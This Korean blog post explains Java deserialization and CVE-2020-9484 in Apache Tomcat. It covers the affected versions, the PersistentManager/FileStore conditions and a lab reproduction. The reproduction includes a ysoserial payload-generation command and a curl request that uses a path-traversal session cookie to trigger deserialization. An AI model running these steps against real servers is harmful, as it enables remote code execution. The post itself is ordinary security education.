CVE-2020-9484 (Apache Tomcat Remote Code Execution Vulnerability)

2 minute read

Insecure Deserialization (안전하지 않은 역직렬화)

OWASP TOP 10에 등재된 Deserialization 공격에 대해 정리하려고 합니다.

이번에 발행된 CVE-2020-9484를 예를 들어서 포스팅을 작성하였습니다.


직렬화와 역직렬화

개요

  • 직렬화 : 특정 Class의 현재 인스턴스 상태를 다른 서버로 전달 하기 위해
    Byte Code로 복사하는 작업, 직렬화(Serialization)

  • 역직렬화 : 저장된 파일에서 Byte Code를 읽거나 전송된 스트림 데이터를 읽어
    특정 Class의 인스턴스 형태로 복원하는 것, 역직렬화 (Deserialization)

Serialization / Deserialization의 제약사항

데이터 Deserialization 과정에서 원격코드 실행이나 권한 상승 취약점들이 발생할 수 있다.

  1. 데이터를 처리하는 곳 모두 ClassPath안에 전달된 객체에 대한 Library 가지고 있어야함
  2. 전송할 인스턴스는 Java.io.Serializable을 implement해야함
    (즉, 직렬화가 불가능한 인스턴스를 포함하면 안됨)
  3. transient field 인스턴스는 정보가 전달 되지 않음
  4. Serialization / Deserialization 는 기 생성된 인스턴스의 복사만 가능하여
    Constructor가 실행되지 않음

CVE-2020-9484
(Apache Tomcat Remote Code Execution Vulnerability)

영향받는 버전 및 요구사항

- Apache Tomcat 10.x < 10.0.0-M5
- Apache Tomcat 9.x < 9.0.35
- Apache Tomcat 8.x < 8.5.55
- Apache Tomcat 7.x < 7.0.104

- PersistentManger 활성화, FileStore 사용중
- Deserialization 공격 파일 업로드 가능, 업로드 경로 확인 가능

왜 세션인가?

Tomcat은 Session management 방법을 2가지 제공하고 있습니다.

  • org.apache.catalina.session.StandardManager (default)

  • org.apache.catalina.session.PersistentManager

StandarManager는 구동중에는 메모리에 저장하고 있다가 종료시 session을
Serialized 된 데이터를 disk에 저장합니다 ( default로 SESSIONS.ser )

PersistentManager는 동일하나 메모리 관리를 위해 session이 일정 시간 동안
사용 되지 않으면 데이터를 disk에 저장합니다.

여기서 2개 옵션을 사용 할 수 있는데 FileStore와 JDBCStore 입니다.

FileStore는 session을 disk에 저장하는데 sessionID를 파일이름으로 사용합니다.

JDBCStore는 DB에 데이터를 저장합니다.

FileStore

따라서 FileStore를 사용하게 되면 아래 코드와 같이 directory + sessionID + ‘.session’인
파일에서 데이터를 불러오게 됩니다.

FileStore Github code

/**
     * Return a File object representing the pathname to our
     * session persistence file, if any.
     *
     * @param id The ID of the Session to be retrieved. This is
     *    used in the file naming.
     */
    private File file(String id) throws IOException {
        if (this.directory == null) {
            return null;
        }
        String filename = id + FILE_EXT;
        File file = new File(directory(), filename);
        return file;
    }

context.xml in tomcat conf

context.xml에서 FileStore가 사용중인 directory를 확인합니다.

<Manager className="org.apache.catalina.session.PersistentManager">
    <Store className="org.apache.catalina.session.FileStore" directory="/tomcat/sessions/"/>
</Manager>

취약점 테스트

masahiro331 Github에 구성된 환경으로 테스트를 진행했습니다.

ysoserial

공격을 위해 ysoserial에서 해당 서버 환경에 맞는 Serialized된 bytecode를 생성합니다.

$ java -jar ysoserial.jar Groovy1 'touch /tmp/rce' > groovy.session

서버 내 공격코드 파일 (groovy.session)의 위치를 확인합니다.

root@e340adc43b93:/usr/local/tomcat# ls
BUILDING.txt	 LICENSE  README.md	 RUNNING.txt  conf	      include  logs	       temp	webapps.dist
CONTRIBUTING.md  NOTICE   RELEASE-NOTES  bin	      groovy.session  lib      native-jni-lib  webapps	work

공격 코드 실행

$ curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../usr/local/tomcat/groovy'


참고자료

  1. BLOG

https://www.redtimmy.com/java-hacking/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/

https://github.com/masahiro331/CVE-2020-9484

https://github.com/frohoff/ysoserial

Leave a comment